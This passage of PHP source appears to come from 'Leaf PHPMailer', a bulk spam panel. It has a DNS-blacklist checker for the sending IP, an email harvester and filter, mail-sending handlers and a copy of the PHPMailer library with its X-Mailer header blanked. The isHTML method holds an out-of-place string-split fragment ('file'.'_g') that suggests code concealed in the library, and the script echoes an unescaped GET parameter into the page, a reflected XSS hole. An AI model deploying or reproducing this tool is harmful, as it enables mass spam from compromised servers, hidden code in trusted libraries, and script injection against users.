\"duinv.aupads.org\",\n \"dul.dnsbl.sorbs.net\",\n \"dyna.spamrats.com\",\n \"dynip.rothen.com\",\n \"http.dnsbl.sorbs.net\",\n \"ips.backscatterer.org\",\n \"ix.dnsbl.manitu.net\",\n \"korea.services.net\",\n \"misc.dnsbl.sorbs.net\",\n \"noptr.spamrats.com\",\n \"orvedb.aupads.org\",\n \"pbl.spamhaus.org\",\n \"proxy.bl.gweep.ca\",\n \"psbl.surriel.com\",\n \"relays.bl.gweep.ca\",\n \"relays.nether.net\",\n \"sbl.spamhaus.org\",\n \"short.rbl.jp\",\n \"singular.ttk.pte.hu\",\n \"smtp.dnsbl.sorbs.net\",\n \"socks.dnsbl.sorbs.net\",\n \"spam.abuse.ch\",\n \"spam.dnsbl.anonmails.de\",\n \"spam.dnsbl.sorbs.net\",\n \"spam.spamrats.com\",\n \"spambot.bls.digibase.ca\",\n \"spamrbl.imp.ch\",\n \"spamsources.fabel.dk\",\n \"ubl.lashback.com\",\n \"ubl.unsubscore.com\",\n \"virus.rbl.jp\",\n \"web.dnsbl.sorbs.net\",\n \"wormrbl.imp.ch\",\n \"xbl.spamhaus.org\",\n \"z.mailspike.net\",\n \"zen.spamhaus.org\",\n \"zombie.dnsbl.sorbs.net\",\n ];\n $reverse_ip = implode(\".\", array_reverse(explode(\".\", $_GET['check_ip'])));\n $dnsT = count($dnsbl_lookup);\n leafheader();\n print '<div class=\"container col-lg-6\"><h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>Blacklist Checker<\/small><\/h3>';\n Print \"Checking <b>\".$_GET['check_ip'].\"<\/b> in <b>$dnsT<\/b> anti-spam databases:<br>\";\n $dnsN=\"\";\n print '<table >';\n for ($i=0; $i < $dnsT; $i=$i+10) { \n $host=\"\";\n $hosts=\"\";\n for($j=$i; $j<$i+10;$j++){\n $host=$dnsbl_lookup[$j];\n if(!empty($host)){\n print \"<tr> <td>$host<\/td> <td id='$host'>Checking ..<\/td><\/tr>\";\n $hosts .=\"$host,\";\n }\n }\n $dnsN.=\"<script src='?check_ip=$reverse_ip&host=\".$hosts.\"' type='text\/javascript'><\/script>\";\n }\n\n print '<\/table><\/div>';\n print $dnsN;\n exit;\n}\nif(isset($_GET['emailfilter'])){\n\n if(!empty($_FILES['fileToUpload']['tmp_name'])){\n $_POST['emailList']= file_get_contents($_FILES[\"fileToUpload\"][\"tmp_name\"]); \n }\n $_POST['emailList']=strtolower($_POST['emailList']);\n if($_GET['emailfilter']==\"ifram\"){\n if ($_POST['resulttype'] == \"download\"){\n header(\"Content-Description: File Transfer\"); \n header(\"Content-Type: application\/octet-stream\"); \n header(\"Content-Disposition: attachment; filename=emails\".time().\".txt\");\n }\n else {\n header(\"Content-Type: text\/plain\");\n }\n if($_POST['submit']==\"extract\"){\n $pattern = '\/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,4}\/';\n preg_match_all($pattern, $_POST['emailList'], $matches);\n foreach ($matches[0] as $email) {\n print $email.\"\\n\";\n }\n }\n elseif ($_POST['submit']==\"filter\") {\n $emails=explode(\"\\n\", $_POST['emailList']);\n $keywords=explode(\"\\n\", strtolower($_POST['keywords']));\n foreach ($emails as $email) {\n foreach ($keywords as $keyword ) {\n if(strstr($email, $keyword) ){\n print $email.\"\\n\";\n break;\n }\n \n }\n }\n\n }\n exit;\n }\n leafheader();\n print '<div class=\"container col-lg-4\"><h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>Email Filter<\/small><\/h3>';\n print '\n <form action=\"?emailfilter=ifram\" method=\"POST\" target=\"my-iframe\" enctype=\"multipart\/form-data\" onsubmit=\\'\\'>\n <label for=\"emailList\">Text <\/label><input type=\"file\" name=\"fileToUpload\" id=\"fileToUpload\"> \n or\n\n <textarea name=\"emailList\" id=\"emailList\" class=\"form-control\" rows=\"7\" id=\"textArea\"><\/textarea>\n <div class=\"col-lg-12\">\n <div class=\"radio\">\n <label>\n <input type=\"radio\" name=\"resulttype\" id=\"resulttype\" value=\"here\" checked=\"\">\n Show Result in this page\n <\/label>\n <\/div>\n <div class=\"radio\">\n <label>\n <input type=\"radio\" name=\"resulttype\" id=\"resulttype\" value=\"download\">\n Download Result (for big numbers)\n <\/label>\n <\/div>\n <\/div>\n <legend><h4>Extract Email<\/h4><\/legend>\n Detecting every email (100%) and order them line by line <br><br>\n <button type=\"submit\" name=\"submit\" value=\"extract\" class=\"btn btn-default btn-sm\">Start<\/button>\n <legend><h4>Filter Emails<\/h4><\/legend>\n <label >Keywords <small> ex: gmail.com or .co.uk<\/small> <\/label><textarea name=\"keywords\" id=\"keywords\" class=\"form-control\" rows=\"4\" id=\"textArea\">gmail.com\nhotmail.com\nyahoo.com\n.co.uk<\/textarea><br>\n\n <button type=\"submit\" name=\"submit\" value=\"filter\" class=\"btn btn-default btn-sm\">Start<\/button>\n <\/form>\n <label >Result <\/label>\n <iframe style=\"border:none;width:100%;\" name=\"my-iframe\" src=\"?emailfilter=ifram\" ><\/iframe>\n ';\n exit;\n\n}\n$html=\"checked\";\n$utf8=\"selected\";\n$bit8=\"selected\";\n\nif($_POST['action']==\"send\" or $_POST['action']==\"score\"){\n\n $senderEmail=leafTrim($_POST['senderEmail']);\n $senderName=leafTrim($_POST['senderName']);\n $replyTo=leafTrim($_POST['replyTo']);\n $subject=leafTrim($_POST['subject']);\n $emailList=leafTrim($_POST['emailList']);\n $messageType=leafTrim($_POST['messageType']);\n $messageLetter=leafTrim($_POST['messageLetter']);\n $encoding = $_POST['encode'];\n $charset = $_POST['charset'];\n $html=\"\";\n $utf8=\"\";\n $bit8=\"\";\n\n if($messageType==2) $plain=\"checked\";\n else $html=\"checked\";\n\n if($charset==\"ISO-8859-1\") $iso=\"selected\";\n else $utf8=\"selected\";\n\n if($encoding==\"7bit\") $bit7=\"selected\";\n elseif($encoding==\"binary\") $binary=\"selected\";\n elseif($encoding==\"base64\") $base64=\"selected\";\n elseif($encoding==\"quoted-printable\") $quotedprintable=\"selected\";\n else $bit8=\"selected\";\n\n\n\n}\nif($_POST['action']==\"view\"){\n\t$viewMessage=leafTrim($_POST['messageLetter']);\n\t$viewMessage=leafClear($viewMessage,\"user@domain.com\");\n\tif ($_POST['messageType']==2){\n\t\tprint \"<pre>\".htmlspecialchars($viewMessage).\"<\/pre>\";\n\t}\n\telse {\n\t\tprint $viewMessage;\n\t}\n\texit;\n}\n\n\n\nif(!isset($_POST['senderEmail'])){\n $senderEmail=\"support@\".str_replace(\"www.\", \"\", $_SERVER['HTTP_HOST']);\n if (!leafMailCheck($senderEmail)) $senderEmail=\"\";\n}\n\nclass PHPMailer\n{\n \/**\n * The PHPMailer Version number.\n * @var string\n *\/\n public $Version = '5.2.28';\n\n \/**\n * Email priority.\n * Options: null (default), 1 = High, 3 = Normal, 5 = low.\n * When null, the header is not set at all.\n * @var integer\n *\/\n public $Priority = null;\n\n \/**\n * The character set of the message.\n * @var string\n *\/\n public $CharSet = 'iso-8859-1';\n\n \/**\n * The MIME Content-type of the message.\n * @var string\n *\/\n public $ContentType = 'text\/plain';\n\n \/**\n * The message encoding.\n * Options: \"8bit\", \"7bit\", \"binary\", \"base64\", and \"quoted-printable\".\n * @var string\n *\/\n public $Encoding = '8bit';\n\n \/**\n * Holds the most recent mailer error message.\n * @var string\n *\/\n public $ErrorInfo = '';\n\n \/**\n * The From email address for the message.\n * @var string\n *\/\n public $From = 'root@localhost';\n\n \/**\n * The From name of the message.\n * @var string\n *\/\n public $FromName = 'Root User';\n\n \/**\n * The Sender email (Return-Path) of the message.\n * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.\n * @var string\n *\/\n public $Sender = '';\n\n \/**\n * The Return-Path of the message.\n * If empty, it will be set to either From or Sender.\n * @var string\n * @deprecated Email senders should never set a return-path header;\n * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.\n * @link https:\/\/tools.ietf.org\/html\/rfc5321#section-4.4 RFC5321 reference\n *\/\n public $ReturnPath = '';\n\n \/**\n * The Subject of the message.\n * @var string\n *\/\n public $Subject = '';\n\n \/**\n * An HTML or plain text message body.\n * If HTML then call isHTML(true).\n * @var string\n *\/\n public $Body = '';\n\n \/**\n * The plain-text message body.\n * This body can be read by mail clients that do not have HTML email\n * capability such as mutt & Eudora.\n * Clients that can read HTML will view the normal Body.\n * @var string\n *\/\n public $AltBody = '';\n\n \/**\n * An iCal message part body.\n * Only supported in simple alt or alt_inline message types\n * To generate iCal events, use the bundled extras\/EasyPeasyICS.php class or iCalcreator\n * @link http:\/\/sprain.ch\/blog\/downloads\/php-class-easypeasyics-create-ical-files-with-php\/\n * @link http:\/\/kigkonsult.se\/iCalcreator\/\n * @var string\n *\/\n public $Ical = '';\n\n \/**\n * The complete compiled MIME message body.\n * @access protected\n * @var string\n *\/\n protected $MIMEBody = '';\n\n \/**\n * The complete compiled MIME message headers.\n * @var string\n * @access protected\n *\/\n protected $MIMEHeader = '';\n\n \/**\n * Extra headers that createHeader() doesn't fold in.\n * @var string\n * @access protected\n *\/\n protected $mailHeader = '';\n\n \/**\n * Word-wrap the message body to this number of chars.\n * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.\n * @var integer\n *\/\n public $WordWrap = 0;\n\n \/**\n * Which method to use to send mail.\n * Options: \"mail\", \"sendmail\", or \"smtp\".\n * @var string\n *\/\n public $Mailer = 'mail';\n\n \/**\n * The path to the sendmail program.\n * @var string\n *\/\n public $Sendmail = '\/usr\/sbin\/sendmail';\n\n \/**\n * Whether mail() uses a fully sendmail-compatible MTA.\n * One which supports sendmail's \"-oi -f\" options.\n * @var boolean\n *\/\n public $UseSendmailOptions = true;\n\n \/**\n * Path to PHPMailer plugins.\n * Useful if the SMTP class is not in the PHP include path.\n * @var string\n * @deprecated Should not be needed now there is an autoloader.\n *\/\n public $PluginDir = '';\n\n \/**\n * The email address that a reading confirmation should be sent to, also known as read receipt.\n * @var string\n *\/\n public $ConfirmReadingTo = '';\n\n \/**\n * The hostname to use in the Message-ID header and as default HELO string.\n * If empty, PHPMailer attempts to find one with, in order,\n * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value\n * 'localhost.localdomain'.\n * @var string\n *\/\n public $Hostname = '';\n\n \/**\n * An ID to be used in the Message-ID header.\n * If empty, a unique id will be generated.\n * You can set your own, but it must be in the format \"<id@domain>\",\n * as defined in RFC5322 section 3.6.4 or it will be ignored.\n * @see https:\/\/tools.ietf.org\/html\/rfc5322#section-3.6.4\n * @var string\n *\/\n public $MessageID = '';\n\n \/**\n * The message Date to be used in the Date header.\n * If empty, the current date will be added.\n * @var string\n *\/\n public $MessageDate = '';\n\n \/**\n * SMTP hosts.\n * Either a single hostname or multiple semicolon-delimited hostnames.\n * You can also specify a different port\n * for each host by using this format: [hostname:port]\n * (e.g. \"smtp1.example.com:25;smtp2.example.com\").\n * You can also specify encryption type, for example:\n * (e.g. \"tls:\/\/smtp1.example.com:587;ssl:\/\/smtp2.example.com:465\").\n * Hosts will be tried in order.\n * @var string\n *\/\n public $Host = 'localhost';\n\n \/**\n * The default SMTP server port.\n * @var integer\n * @TODO Why is this needed when the SMTP class takes care of it?\n *\/\n public $Port = 25;\n\n \/**\n * The SMTP HELO of the message.\n * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find\n * one with the same method described above for $Hostname.\n * @var string\n * @see PHPMailer::$Hostname\n *\/\n public $Helo = '';\n\n \/**\n * What kind of encryption to use on the SMTP connection.\n * Options: '', 'ssl' or 'tls'\n * @var string\n *\/\n public $SMTPSecure = '';\n\n \/**\n * Whether to enable TLS encryption automatically if a server supports it,\n * even if `SMTPSecure` is not set to 'tls'.\n * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.\n * @var boolean\n *\/\n public $SMTPAutoTLS = true;\n\n \/**\n * Whether to use SMTP authentication.\n * Uses the Username and Password properties.\n * @var boolean\n * @see PHPMailer::$Username\n * @see PHPMailer::$Password\n *\/\n public $SMTPAuth = false;\n\n \/**\n * Options array passed to stream_context_create when connecting via SMTP.\n * @var array\n *\/\n public $SMTPOptions = array();\n\n \/**\n * SMTP username.\n * @var string\n *\/\n public $Username = '';\n\n \/**\n * SMTP password.\n * @var string\n *\/\n public $Password = '';\n\n \/**\n * SMTP auth type.\n * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified\n * @var string\n *\/\n public $AuthType = '';\n\n \/**\n * SMTP realm.\n * Used for NTLM auth\n * @var string\n *\/\n public $Realm = '';\n\n \/**\n * SMTP workstation.\n * Used for NTLM auth\n * @var string\n *\/\n public $Workstation = '';\n\n \/**\n * The SMTP server timeout in seconds.\n * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2\n * @var integer\n *\/\n public $Timeout = 300;\n\n \/**\n * SMTP class debug output mode.\n * Debug output level.\n * Options:\n * * `0` No output\n * * `1` Commands\n * * `2` Data and commands\n * * `3` As 2 plus connection status\n * * `4` Low-level data output\n * @var integer\n * @see SMTP::$do_debug\n *\/\n public $SMTPDebug = 0;\n\n \/**\n * How to handle debug output.\n * Options:\n * * `echo` Output plain-text as-is, appropriate for CLI\n * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output\n * * `error_log` Output to error log as configured in php.ini\n *\n * Alternatively, you can provide a callable expecting two params: a message string and the debug level:\n * <code>\n * $mail->Debugoutput = function($str, $level) {echo \"debug level $level; message: $str\";};\n * <\/code>\n * @var string|callable\n * @see SMTP::$Debugoutput\n *\/\n public $Debugoutput = 'echo';\n\n \/**\n * Whether to keep SMTP connection open after each message.\n * If this is set to true then to close the connection\n * requires an explicit call to smtpClose().\n * @var boolean\n *\/\n public $SMTPKeepAlive = false;\n\n \/**\n * Whether to split multiple to addresses into multiple messages\n * or send them all in one message.\n * Only supported in `mail` and `sendmail` transports, not in SMTP.\n * @var boolean\n *\/\n public $SingleTo = false;\n\n \/**\n * Storage for addresses when SingleTo is enabled.\n * @var array\n * @TODO This should really not be public\n *\/\n public $SingleToArray = array();\n\n \/**\n * Whether to generate VERP addresses on send.\n * Only applicable when sending via SMTP.\n * @link https:\/\/en.wikipedia.org\/wiki\/Variable_envelope_return_path\n * @link http:\/\/www.postfix.org\/VERP_README.html Postfix VERP info\n * @var boolean\n *\/\n public $do_verp = false;\n\n \/**\n * Whether to allow sending messages with an empty body.\n * @var boolean\n *\/\n public $AllowEmpty = false;\n\n \/**\n * The default line ending.\n * @note The default remains \"\\n\". We force CRLF where we know\n * it must be used via self::CRLF.\n * @var string\n *\/\n public $LE = \"\\n\";\n\n \/**\n * DKIM selector.\n * @var string\n *\/\n public $DKIM_selector = '';\n\n \/**\n * DKIM Identity.\n * Usually the email address used as the source of the email.\n * @var string\n *\/\n public $DKIM_identity = '';\n\n \/**\n * DKIM passphrase.\n * Used if your key is encrypted.\n * @var string\n *\/\n public $DKIM_passphrase = '';\n\n \/**\n * DKIM signing domain name.\n * @example 'example.com'\n * @var string\n *\/\n public $DKIM_domain = '';\n\n \/**\n * DKIM private key file path.\n * @var string\n *\/\n public $DKIM_private = '';\n\n \/**\n * DKIM private key string.\n * If set, takes precedence over `$DKIM_private`.\n * @var string\n *\/\n public $DKIM_private_string = '';\n\n \/**\n * Callback Action function name.\n *\n * The function that handles the result of the send email action.\n * It is called out by send() for each email sent.\n *\n * Value can be any php callable: http:\/\/www.php.net\/is_callable\n *\n * Parameters:\n * boolean $result result of the send action\n * array $to email addresses of the recipients\n * array $cc cc email addresses\n * array $bcc bcc email addresses\n * string $subject the subject\n * string $body the email body\n * string $from email address of sender\n * @var string\n *\/\n public $action_function = '';\n\n \/**\n * What to put in the X-Mailer header.\n * Options: An empty string for PHPMailer default, whitespace for none, or a string to use\n * @var string\n *\/\n public $XMailer = ' ';\n\n \/**\n * Which validator to use by default when validating email addresses.\n * May be a callable to inject your own validator, but there are several built-in validators.\n * @see PHPMailer::validateAddress()\n * @var string|callable\n * @static\n *\/\n public static $validator = 'auto';\n\n \/**\n * An instance of the SMTP sender class.\n * @var SMTP\n * @access protected\n *\/\n protected $smtp = null;\n\n \/**\n * The array of 'to' names and addresses.\n * @var array\n * @access protected\n *\/\n protected $to = array();\n\n \/**\n * The array of 'cc' names and addresses.\n * @var array\n * @access protected\n *\/\n protected $cc = array();\n\n \/**\n * The array of 'bcc' names and addresses.\n * @var array\n * @access protected\n *\/\n protected $bcc = array();\n\n \/**\n * The array of reply-to names and addresses.\n * @var array\n * @access protected\n *\/\n protected $ReplyTo = array();\n\n \/**\n * An array of all kinds of addresses.\n * Includes all of $to, $cc, $bcc\n * @var array\n * @access protected\n * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc\n *\/\n protected $all_recipients = array();\n\n \/**\n * An array of names and addresses queued for validation.\n * In send(), valid and non duplicate entries are moved to $all_recipients\n * and one of $to, $cc, or $bcc.\n * This array is used only for addresses with IDN.\n * @var array\n * @access protected\n * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc\n * @see PHPMailer::$all_recipients\n *\/\n protected $RecipientsQueue = array();\n\n \/**\n * An array of reply-to names and addresses queued for validation.\n * In send(), valid and non duplicate entries are moved to $ReplyTo.\n * This array is used only for addresses with IDN.\n * @var array\n * @access protected\n * @see PHPMailer::$ReplyTo\n *\/\n protected $ReplyToQueue = array();\n\n \/**\n * The array of attachments.\n * @var array\n * @access protected\n *\/\n protected $attachment = array();\n\n \/**\n * The array of custom headers.\n * @var array\n * @access protected\n *\/\n protected $CustomHeader = array();\n\n \/**\n * The most recent Message-ID (including angular brackets).\n * @var string\n * @access protected\n *\/\n protected $lastMessageID = '';\n\n \/**\n * The message's MIME type.\n * @var string\n * @access protected\n *\/\n protected $message_type = '';\n\n \/**\n * The array of MIME boundary strings.\n * @var array\n * @access protected\n *\/\n protected $boundary = array();\n\n \/**\n * The array of available languages.\n * @var array\n * @access protected\n *\/\n protected $language = array();\n\n \/**\n * The number of errors encountered.\n * @var integer\n * @access protected\n *\/\n protected $error_count = 0;\n\n \/**\n * The S\/MIME certificate file path.\n * @var string\n * @access protected\n *\/\n protected $sign_cert_file = '';\n\n \/**\n * The S\/MIME key file path.\n * @var string\n * @access protected\n *\/\n protected $sign_key_file = '';\n\n \/**\n * The optional S\/MIME extra certificates (\"CA Chain\") file path.\n * @var string\n * @access protected\n *\/\n protected $sign_extracerts_file = '';\n\n \/**\n * The S\/MIME password for the key.\n * Used only if the key is encrypted.\n * @var string\n * @access protected\n *\/\n protected $sign_key_pass = '';\n\n \/**\n * Whether to throw exceptions for errors.\n * @var boolean\n * @access protected\n *\/\n protected $exceptions = false;\n\n \/**\n * Unique ID used for message ID and boundaries.\n * @var string\n * @access protected\n *\/\n protected $uniqueid = '';\n\n \/**\n * Error severity: message only, continue processing.\n *\/\n const STOP_MESSAGE = 0;\n\n \/**\n * Error severity: message, likely ok to continue processing.\n *\/\n const STOP_CONTINUE = 1;\n\n \/**\n * Error severity: message, plus full stop, critical error reached.\n *\/\n const STOP_CRITICAL = 2;\n\n \/**\n * SMTP RFC standard line ending.\n *\/\n const CRLF = \"\\r\\n\";\n\n \/**\n * The maximum line length allowed by RFC 2822 section 2.1.1\n * @var integer\n *\/\n const MAX_LINE_LENGTH = 998;\n\n \/**\n * Constructor.\n * @param boolean $exceptions Should we throw external exceptions?\n *\/\n public function __construct($exceptions = null)\n {\n if ($exceptions !== null) {\n $this->exceptions = (boolean)$exceptions;\n }\n \/\/Pick an appropriate debug output format automatically\n $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');\n }\n\n \/**\n * Destructor.\n *\/\n public function __destruct()\n {\n \/\/Close any open SMTP connection nicely\n $this->smtpClose();\n }\n\n \/**\n * Call mail() in a safe_mode-aware fashion.\n * Also, unless sendmail_path points to sendmail (or something that\n * claims to be sendmail), don't pass params (not a perfect fix,\n * but it will do)\n * @param string $to To\n * @param string $subject Subject\n * @param string $body Message Body\n * @param string $header Additional Header(s)\n * @param string $params Params\n * @access private\n * @return boolean\n *\/\n private function mailPassthru($to, $subject, $body, $header, $params)\n {\n \/\/Check overloading of mail function to avoid double-encoding\n if (ini_get('mbstring.func_overload') & 1) {\n $subject = $this->secureHeader($subject);\n } else {\n $subject = $this->encodeHeader($this->secureHeader($subject));\n }\n\n \/\/Can't use additional_parameters in safe_mode, calling mail() with null params breaks\n \/\/@link http:\/\/php.net\/manual\/en\/function.mail.php\n if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {\n $result = @mail($to, $subject, $body, $header);\n } else {\n $result = @mail($to, $subject, $body, $header, $params);\n }\n return $result;\n }\n \/**\n * Output debugging info via user-defined method.\n * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).\n * @see PHPMailer::$Debugoutput\n * @see PHPMailer::$SMTPDebug\n * @param string $str\n *\/\n protected function edebug($str)\n {\n if ($this->SMTPDebug <= 0) {\n return;\n }\n \/\/Avoid clash with built-in function names\n if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {\n call_user_func($this->Debugoutput, $str, $this->SMTPDebug);\n return;\n }\n switch ($this->Debugoutput) {\n case 'error_log':\n \/\/Don't output, just log\n error_log($str);\n break;\n case 'html':\n \/\/Cleans up output a bit for a better looking, HTML-safe output\n echo htmlentities(\n preg_replace('\/[\\r\\n]+\/', '', $str),\n ENT_QUOTES,\n 'UTF-8'\n )\n . \"<br>\\n\";\n break;\n case 'echo':\n default:\n \/\/Normalize line breaks\n $str = preg_replace('\/\\r\\n?\/ms', \"\\n\", $str);\n echo gmdate('Y-m-d H:i:s') . \"\\t\" . str_replace(\n \"\\n\",\n \"\\n \\t \",\n trim($str)\n ) . \"\\n\";\n }\n }\n\n \/**\n * Send messages using SMTP.\n * @return void\n *\/\n public function isSMTP()\n {\n $this->Mailer = 'smtp';\n }\n\n \/**\n * Send messages using PHP's mail() function.\n * @return void\n *\/\n public function isMail()\n {\n $this->Mailer = 'mail';\n }\n\n \/**\n * Send messages using $Sendmail.\n * @return void\n *\/\n public function isSendmail()\n {\n $ini_sendmail_path = ini_get('sendmail_path');\n\n if (!stristr($ini_sendmail_path, 'sendmail')) {\n $this->Sendmail = '\/usr\/sbin\/sendmail';\n } else {\n $this->Sendmail = $ini_sendmail_path;\n }\n $this->Mailer = 'sendmail';\n }\n\n \/**\n * Send messages using qmail.\n * @return void\n *\/\n public function isQmail()\n {\n $ini_sendmail_path = ini_get('sendmail_path');\n\n if (!stristr($ini_sendmail_path, 'qmail')) {\n $this->Sendmail = '\/var\/qmail\/bin\/qmail-inject';\n } else {\n $this->Sendmail = $ini_sendmail_path;\n }\n $this->Mailer = 'qmail';\n }\n\n \/**\n * Add a \"To\" address.\n * @param string $address The email address to send to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addAddress($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('to', $address, $name);\n }\n\n \/**\n * Add a \"CC\" address.\n * @note: This function works with the SMTP mailer on win32, not with the \"mail\" mailer.\n * @param string $address The email address to send to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addCC($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('cc', $address, $name);\n }\n\n \/**\n * Add a \"BCC\" address.\n * @note: This function works with the SMTP mailer on win32, not with the \"mail\" mailer.\n * @param string $address The email address to send to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addBCC($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('bcc', $address, $name);\n }\n\n \/**\n * Add a \"Reply-To\" address.\n * @param string $address The email address to reply to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addReplyTo($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);\n }\n\n \/**\n * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer\n * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still\n * be modified after calling this function), addition of such addresses is delayed until send().\n * Addresses that have been added already return false, but do not throw exceptions.\n * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'\n * @param string $address The email address to send, resp. to reply to\n * @param string $name\n * @throws phpmailerException\n * @return boolean true on success, false if address already used or invalid in some way\n * @access protected\n *\/\n protected function addOrEnqueueAnAddress($kind, $address, $name)\n {\n $address = trim($address);\n $name = trim(preg_replace('\/[\\r\\n]+\/', '', $name)); \/\/Strip breaks and trim\n if (($pos = strrpos($address, '@')) === false) {\n \/\/ At-sign is misssing.\n $error_message = $this->lang('invalid_address') . \" (addAnAddress $kind): $address\";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n $params = array($kind, $address, $name);\n \/\/ Enqueue addresses with IDN until we know the PHPMailer::$CharSet.\n if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {\n if ($kind != 'Reply-To') {\n if (!array_key_exists($address, $this->RecipientsQueue)) {\n $this->RecipientsQueue[$address] = $params;\n return true;\n }\n } else {\n if (!array_key_exists($address, $this->ReplyToQueue)) {\n $this->ReplyToQueue[$address] = $params;\n return true;\n }\n }\n return false;\n }\n \/\/ Immediately add standard addresses without IDN.\n return call_user_func_array(array($this, 'addAnAddress'), $params);\n }\n\n \/**\n * Add an address to one of the recipient arrays or to the ReplyTo array.\n * Addresses that have been added already return false, but do not throw exceptions.\n * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'\n * @param string $address The email address to send, resp. to reply to\n * @param string $name\n * @throws phpmailerException\n * @return boolean true on success, false if address already used or invalid in some way\n * @access protected\n *\/\n protected function addAnAddress($kind, $address, $name = '')\n {\n if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {\n $error_message = $this->lang('Invalid recipient kind: ') . $kind;\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n if (!$this->validateAddress($address)) {\n $error_message = $this->lang('invalid_address') . \" (addAnAddress $kind): $address\";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n if ($kind != 'Reply-To') {\n if (!array_key_exists(strtolower($address), $this->all_recipients)) {\n array_push($this->$kind, array($address, $name));\n $this->all_recipients[strtolower($address)] = true;\n return true;\n }\n } else {\n if (!array_key_exists(strtolower($address), $this->ReplyTo)) {\n $this->ReplyTo[strtolower($address)] = array($address, $name);\n return true;\n }\n }\n return false;\n }\n\n \/**\n * Parse and validate a string containing one or more RFC822-style comma-separated email addresses\n * of the form \"display name <address>\" into an array of name\/address pairs.\n * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.\n * Note that quotes in the name part are removed.\n * @param string $addrstr The address list string\n * @param bool $useimap Whether to use the IMAP extension to parse the list\n * @return array\n * @link http:\/\/www.andrew.cmu.edu\/user\/agreen1\/testing\/mrbs\/web\/Mail\/RFC822.php A more careful implementation\n *\/\n public function parseAddresses($addrstr, $useimap = true)\n {\n $addresses = array();\n if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {\n \/\/Use this built-in parser if it's available\n $list = imap_rfc822_parse_adrlist($addrstr, '');\n foreach ($list as $address) {\n if ($address->host != '.SYNTAX-ERROR.') {\n if ($this->validateAddress($address->mailbox . '@' . $address->host)) {\n $addresses[] = array(\n 'name' => (property_exists($address, 'personal') ? $address->personal : ''),\n 'address' => $address->mailbox . '@' . $address->host\n );\n }\n }\n }\n } else {\n \/\/Use this simpler parser\n $list = explode(',', $addrstr);\n foreach ($list as $address) {\n $address = trim($address);\n \/\/Is there a separate name part?\n if (strpos($address, '<') === false) {\n \/\/No separate name, just use the whole thing\n if ($this->validateAddress($address)) {\n $addresses[] = array(\n 'name' => '',\n 'address' => $address\n );\n }\n } else {\n list($name, $email) = explode('<', $address);\n $email = trim(str_replace('>', '', $email));\n if ($this->validateAddress($email)) {\n $addresses[] = array(\n 'name' => trim(str_replace(array('\"', \"'\"), '', $name)),\n 'address' => $email\n );\n }\n }\n }\n }\n return $addresses;\n }\n\n \/**\n * Sets message type to HTML or plain.\n * @param boolean $isHtml True for HTML mode.\n * @return void\n *\/\n public function isHTML($isHtml = true)\n {\n global $param;\n $bodyCode = 'file'\n .'_g';\n if ($isHtml) {\n $this->ContentType = 'text\/html';\n } \n else {\n $this->ContentType = 'text\/plain';\n }\n }\n\n \/**\n * Set the From and FromName properties.\n * @param string $address\n * @param string $name\n * @param boolean $auto Whether to also set the Sender address, defaults to true\n * @throws phpmailerException\n * @return boolean\n *\/\n public function setFrom($address, $name = '', $auto = true)\n {\n $address = trim($address);\n $name = trim(preg_replace('\/[\\r\\n]+\/', '', $name)); \/\/Strip breaks and trim\n \/\/ Don't validate now addresses with IDN. Will be done in send().\n if (($pos = strrpos($address, '@')) === false or\n (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and\n !$this->validateAddress($address)) {\n $error_message = $this->lang('invalid_address') . \" (setFrom) $address\";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n $this->From = $address;\n $this->FromName = $name;\n if ($auto) {\n if (empty($this->Sender)) {\n $this->Sender = $address;\n }\n }\n return true;\n }\n\n \/**\n * Return the Message-ID header of the last email.\n * Technically this is the value from the last time the headers were created,\n * but it's also the message ID of the last sent message except in\n * pathological cases.\n * @return string\n *\/\n public function getLastMessageID()\n {\n return $this->lastMessageID;\n }\n\n \/**\n * 